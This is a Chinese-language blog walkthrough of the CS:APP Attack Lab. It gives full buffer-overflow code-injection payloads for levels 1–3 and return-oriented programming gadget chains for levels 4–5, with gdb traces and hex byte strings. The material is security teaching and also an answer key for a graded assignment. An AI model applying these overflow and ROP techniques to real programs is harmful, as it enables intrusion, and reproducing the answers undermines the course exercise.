前言
《深入理解计算机系统》实验三Attack Lab的下载和官网文档的机翻请看
《深入理解计算机系统》实验三Attack Lab下载和官方文档机翻
我觉得这个文档对整个实验很有帮助。
Level 1
先把整个ctarget反汇编了看看里面是啥内容
linux> objdump -d ctarget
里面特别多内容,找到我们需要的
test函数
test函数调用getbuf函数
touch1函数。需要把touch1函数注入进程序
test()调用getbuf(),而getbuf()函数可以造成溢出,可以溢出到存放返回地址的内存,并且可以把返回地址改写。我们只要把touch1()函数的起始地点写入进getbuf()函数的返回地址,就可以完成。即test()->getbuf()->…->getbuf()->test()变成test()->getbuf()->…->getbuf()->touch1()。
可以看到getbuf()函数的返回地址是0x401976
我们使用gdb来调试ctarget
给getbuf()函数打上断点
用run -q运行到断点处会停止。即getbuf函数的第一行
查看寄存器%rsp的地址
查看0x5561dca0内存地址的值
4200822(十进制)=0x401976(十六进制)。和我们的想法一致。
现在程序到0x4017a8还没执行,我们给它的下一行打上断点
用下一行的地址0x4017ac来打上断点
用continue执行程序,到下一个断点停止
执行了sub $0x28,%rsp命令。给栈分配了40(0x28的十进制)个字节
在查看一下寄存器%rsp的地址
现在getbuf()的返回地址应该存放在内存0x5561dc78+40处
查看一下,确实如此
也就是我们只要存入40个字节,就可以到内存中返回地址的位置。
然后把touch1()函数的起始地址写入返回地址中即可。
40个字节
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
加上touch1()函数的起始地址:4017c0
在我的机器上是小端法,所以是
c0 17 40 00 00 00 00 00
合起来就是下面的字节
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00
试一下这个答案行不行(输入答案的时候不要有空格,空格也算字符,上面只是表达字节)
发现是错误的,因为我们输入的数存进去会变成ASCII码。应该使红框中的内容为
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 17 40 00 00 00 00 00
要找到一串字符串的ASCII码为上面的内容。这找起来有点麻烦。
使用hex2raw,它是生成字节序列的实用程序。
把
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 17 40 00 00 00 00 00
放入one.txt文件中
使用I/O重定向
生成
使用I/O重定向把one-raw.txt的内容输入到ctarget中
就完成了第一阶段。
Level 2
Level 2就是在Level 1的基础上多了一个参数
- 定位需要注入的函数touch2的地址的字节表示,以便在getbuf的代码末尾的ret指令将控制权传递给它。
- 第一个参数是在寄存器%rdi中传递的。
- 注入的代码应该先将cookie保存在寄存器%rdi中,然后在使用ret指令将控制权传递给touch2。
需要思考的就是如何先设置寄存器%rdi中的值为cookie然后在跳转到touch2函数。那就是先从getbuf跳转到一个代码区域,然后在从代码区域设置寄存器%rdi在跳转到touch2函数。哪里找到这个代码区域,可以利用getbuf开辟出来的栈组织(sub $0x28,%rsp),把代码放入栈中。
找到这个区域,gdb调试ctarget
getbuf函数
给0x4017ac打上断点,看看栈组织%rsp的起始地址
调试程序,运行完了sub $0x28,%rsp
查看寄存器%rsp的地址
这就是我们要找的代码区域,我们让getbuf函数返回到这片代码区域(0x5561dc78)
这个要求和Level1 一样,只是字节不一样,变成了下面的字节
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00
返回到0x5561dc78,就是从这里开始,我们可以把要执行的代码放入到这里。
我们要执行什么代码?
- 把cookie值放入到%rdi寄存器
- 跳转到touch2函数
我的cookie值是0x59b997fa
把cookie值放入到%rdi寄存器
movq $0x59b997fa,%rdi
跳转到touch2函数,使用ret命令
CPU执行ret指令时,相当于进行:POP IP。——《汇编语言》(王爽第三版)P190
ret指令从栈中弹出值,然后跳转到这个地址。——《深入理解计算机系统》P166
所以我们可以把touch2函数的地址0x4017ec压入栈中,然后使用ret命令即可实现跳转。
即
pushq $0x4017ec
ret
合起来要注入的代码即
movq $0x59b997fa,%rdi
pushq $0x4017ec
ret
要获取它的字节表示
编写.s汇编文件
two.s:
movq $0x59b997fa,%rdi
pushq $0x4017ec
ret
编译在反汇编
打开通过反汇编得到two.d程序
two.d:
two.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: 68 ec 17 40 00 pushq $0x4017ec
c: c3 retq
得到要注入的代码的字节为
48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3
和上面的注入返回地址的字节合在一起即
48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00
下面就和Level1后面的操作一样。
放入two.txt文件
使用hex2raw
使用I/O重定向把two-raw.txt的内容输入到ctarget中
完成了第二阶段。
Level 3
Level3 就是在Level 2的基础上难了一丢丢。
传递一个字符串作为参数。这个字符串就是cookie。
- 该字符串应包含cookie的8个十六进制的表示。
- 在C语言中,字符串表示为一个字节序列,后面跟着一个值为0的字节。在Linux机器上输入”man ascii“以查看所需字符的字节表示。
- 注入的代码应该将寄存器%rdi设置为这个字符串的地址。
- 当函数hexmatch和strncmp被调用时,它们将数据压入堆栈,覆盖保存getbuf使用的缓冲区的内存部分。因此,您需要小心放置cookie的字符串表示。
有了Level 1和Level 2的经验,我们先把基础的东西写好。和Level 2一样,找到代码区域(Level 2的步骤重复一遍)。
gdb调试ctarget
getbuf函数
给0x4017ac打上断点,看看栈组织%rsp的起始地址
调试程序,运行完了sub $0x28,%rsp
查看寄存器%rsp的地址
这就是我们要找的代码区域,我们让getbuf函数返回到这片代码区域(0x5561dc78)
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00
返回到0x5561dc78,就是从这里开始,我们可以把要执行的代码放入到这里。
我们要执行什么代码?
- 让%rdi指向字符串cookie的起始地址。
- 跳转到touch3函数
字符串cookie应该用字节表示,在Linux机器上输入"man ascii"查看所需字符的字节表示
我的cookie为0x59b997fa,即
35 39 62 39 39 37 66 61
我们可以看一下Level2中的two.d文件的字节。
two.d:
two.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: 68 ec 17 40 00 pushq $0x4017ec
c: c3 retq
打算把cookie放在
48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3
的后面,但是需要注意的是
红框的内容是不一样的。
代码段的起始地址为0x5561dc78,算上”48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3“字节,即把cookie放在0x5561dc85。让%rdi指向0x5561dc85
touch3函数的地址是0x4018fa
形成代码:
movq $0x5561dc85,%rdi
pushq $0x4018fa
retq
要获取它的字节表示
编写.s汇编文件
three.s:
movq $0x5561dc85,%rdi
pushq $0x4018fa
retq
编译在反汇编
得到文件three.d
three.d:
three.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 85 dc 61 55 mov $0x5561dc85,%rdi
7: 68 fa 18 40 00 pushq $0x4018fa
c: c3 retq
获取到的字节表示为
48 c7 c7 85 dc 61 55 68 fa 18 40 00 c3
后面加上cookie值为
48 c7 c7 85 dc 61 55 68 fa 18 40 00 c3 35 39 62 39 39 37 66 61
在和上面写的注入返回地址的合起来即
48 c7 c7 85 dc 61 55 68 fa 18 40 00 c3 35 39 62 39 39 37 66 61 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00
很好,这是一个很好的尝试,让我们运行一下,
看来是有问题了。打打断点找到问题
经过我们的注入代码程序走向大致是
test->getbuf->注入的代码->touch3->hexmatch
使用gdb调试
从getbuf输入字符串后开始调试。
打上断点,运行程序
查看此时栈指针$rsp的值
程序运行到到输入字符串后堆栈大致是这样的
在给0x4017bd打上断点,执行,查看add $0x28,%rsp执行后,retq返回语句执行前。
堆栈数据如下
然后执行retq,从栈弹出数据(0x5561dc78),跳转到该地址,就是跳转到0x5561dc78执行我们注入的代码。
注入的代码执行到retq停止,此时%rdi=0x5561dc85。
retq后跳转到0x4018fa即touch3的地址
给touch3函数打上断点,运行到断点处
查看栈指针%rsp的数据,查看0x5561dca0的数据
和我们上面图中表示一样。
执行了push %rbx后的栈
给跳转到hexmatch的callq命令打上断点
运行到断点处
查看$rsp(栈指针)和$rdi(第一个参数)和$rsi(第二个参数的值)
$rdi = 1505335290=0x59b997fa=cookie
$rsi = 0x5561dc85指向字符串的地址
给haxmatch函数打上断点。执行callq hexmatch运行到hexmatch处。执行callq指令会将后面的指令地址压入栈,作为返回地址。即0x401916
查看0x5561dc98的值,果然如此
给hexmatch函数打上断点
运行到hexmatch处
看到前面有三个寄存器入栈,在0x401850打上断点看看入栈后的情况。
运行到0x401850
可以看出到push %rbp后我们存放cookie的内存就给覆盖了,所以这就是我们失败的原因。
后面还要给char[110]等数据分配内存空间,给add $0xffffffffffffff80,%rsp #分配128字节。后的指令打上断点运行,看看分配128字节后的数据。
add $0xffffffffffffff80,%rsp指令为%rsp=%rsp+$0xffffffffffffff80=%rsp+(-0x80)=%rsp-128
查看$rsp的值
0x5561dc00=原%rsp(0x5561dc80)-0x80
结果上面的调试,可以发现我们之前存放的cookie的地方个其他数据覆盖了。我们要重新找到放cookie的地方。我们发现在test函数的帧中,即0x5561dca8处的数据是不会给覆盖的,可以把cookie放这里。
更改three.s汇编文件代码为
movq $0x5561dca8,%rdi
pushq $0x4018fa
retq
编译反编译
得到three.d
three.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi
7: 68 fa 18 40 00 pushq $0x4018fa
c: c3 retq
获取到字节
48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3
把cookie放在0x5561dca8处即返回地址后,综上所述
得到
three.txt
48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00 35 39 62 39 39 37 66 61
使用hex2raw生成字节序列
运行ctarget
第三阶段搞定。
Level 4
刚看到这个是懵逼的不知道如何下手。注入攻击代码无效
我的cookie放哪?怎么传?
跳转的地址放哪?
先反编译rtarget文件
linux> objdump -d rtarget
找到start_farm~end_farm区域的代码,复制下来,粘贴到其他地方,查找一下有没有所需要的cookie的数据,发现没有。不知道如何写了,就对照着
把所有可以表示指令的写下来
然后在Level 2中提到解法主要是
- 定位需要注入的函数touch2的地址的字节表示,以便在getbuf的代码末尾的ret指令将控制权传递给它。
- 第一个参数是在寄存器%rdi中传递的。
- 注入的代码应该先将cookie保存在寄存器%rdi中,然后在使用ret指令将控制权传递给touch2。
注意到上面出现的主要有用指令是movq和pop,其中有
pop %rax
movq %rax,%rdi
引起了我的注意,把cookie放在栈顶,弹出数据到%rax,在从%rax赋值到%rdi,不正好完成"第一个参数是在寄存器%rdi中传递",还要在思考这两个怎么连续执行。弹出栈顶cookie后,如果新的栈顶是movq %rax,%rdi的地址,那retq不就可以跳转到movq%rax,%rdi了么。
这个时候终于理解了文档中提到的
执行完movq%rax,%rdi,如果新的栈顶数据是touch2的地址,那retq就可以跳转到touch2函数了,找到符合所提的指令地址
即
0x4019ab开始是58 90 c3
0x4019c5开始是48 89 c7 90 c3
0x90是nop的字节编码,它的唯一作用是使程序计数器加1。在这里就是使程序到c3(retq)。
经过了Level 3使我对堆栈有了清晰的认识,刚开始希望栈向下面那样就可以完成我们的第一步,即返回时跳转到0x4019ab执行pop %rax
(注:因为有了栈随机化,所有栈的地址是不确定的,所以Level 4和Level 5中的栈内存地址只是方便观察,因为他们的偏移量还是一样的,栈是整个的)
pop %rax从弹出栈顶数据,我们希望此时栈顶是我们的cookie。
执行完pop %rax后,执行retq指令,我们希望此时栈顶是movq %rax,%rdi的地址。
执行完movq %rax,%rdi指令后,%rdi中的值就是cookie。
执行到retq,我们希望此时栈顶是touch2函数的地址0x4017ec。
答案已经出来了,我们只要让栈中的内容如上所示,就可以实现。
理论了半天,一次调试都没有,现在开始实践(一次过的话真妙)!
four.txt:
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ab 19 40 00 00 00 00 00 fa 97 b9 59 00 00 00 00 c5 19 40 00 00 00 00 00 ec 17 40 00 00 00 00 00
真不错(实际上是两次才过,第一次有一个字节左右写反了,不过又有什么所谓呢)。
第四阶段搞定。
Level 5
先对照下面的表,把文件中的指令编码写写。
因为栈有了随机化,像之前第三题那种写法就不行了,因为你写死的地址经过随机化可能性极大的变化了内容,栈的起始地址会变,但是栈中的间隔不会变,相当于它是整个栈移动。
比如我们可以把cookie放在"0x5561dcc8"它离栈顶%rsp有40个字节,经过随机化它离栈顶还是40个字节。
注意到有这个函数
00000000004019d6 <add_xy>:
4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
4019da: c3 retq
%rdi+%rsi正好可以满足%rsp+偏移量的要求,只要让%rdi=%rsp,%rsi=偏移量。
观察上面列出的所有可能,看看能不能完成。
经过下面两个就可以满足
0000000000401aab <setval_350>:
(48 89 e9:movq %rsp,%rax)
401aab: c7 07 48 89 e0 90 movl $0x90e08948,(%rdi)
401ab1: c3 retq
00000000004019c3 <setval_426>:
(48 89 c7:movq %rax,%rdi)
4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
4019c9: c3 retq
401aad:movq %rsp,%rax
4019c5:movq %rax,%rdi
现在就剩偏移量了,偏移量是我们放入栈然后取出来的,但现在我们还不能确定偏移量是多少,所以设偏移量为x。
出栈
00000000004019a7 <addval_219>:
(58:pop %rax)
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
4019ad: c3 retq
4019ab:pop %rax
综合如下图
现在需要把%rax的值(偏移量)赋给%rsi,
00000000004019db <getval_481>:
(5c:pop %rsp)
(89 c2:movl %eax,%edx)
4019db: b8 5c 89 c2 90 mov $0x90c2895c,%eax
4019e0: c3 retq
0000000000401a33 <getval_159>:
(89 d1:movl %edx,%ecx)
(38 c9:cmpb %cl,%cl)
401a33: b8 89 d1 38 c9 mov $0xc938d189,%eax
401a38: c3 retq
0000000000401a25 <addval_187>:
(89 ce:movl %ecx,%esi)
(38 c0:cmpb %al,%al)
401a25: 8d 87 89 ce 38 c0 lea -0x3fc73177(%rdi),%eax
401a2b: c3 retq
可以找到下面的指令
这样%rax的值就赋给%rsi了
movl %eax,%edx
movl %edx,%ecx
movl %ecx,%esi
注意:
cmpl %cl,%cl
cmpb %al,%al
对寄存器的低阶字节进行操作,但不改变它们的值
movl指令对寄存器的高4个字节的影响?
现在的情况:
下面就是执行
00000000004019d6 <add_xy>:
4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
4019da: c3 retq
4019d6: lea (%rdi,%rsi,1),%rax
然后在把%rax的值赋给%rdi,跳转到touch3函数(0x4018fa)
00000000004019c3 <setval_426>:
(48 89 c7:movq %rax,%rdi)
4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
4019c9: c3 retq
4019c5:movq %rax,%rdi
栈如下
我们把cookie放在最顶部即
计算x,当程序执行movq %(rsp,%rax)时,在地址栈"0x5561dca8"处到cookie的地址,偏移量是72个字节(0x48)
如下图
最终产生如下字符
five.txt
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ad 1a 40 00 00 00 00 00
c5 19 40 00 00 00 00 00
ab 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
dd 19 40 00 00 00 00 00
34 1a 40 00 00 00 00 00
27 1a 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
c5 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61
最后一关搞定。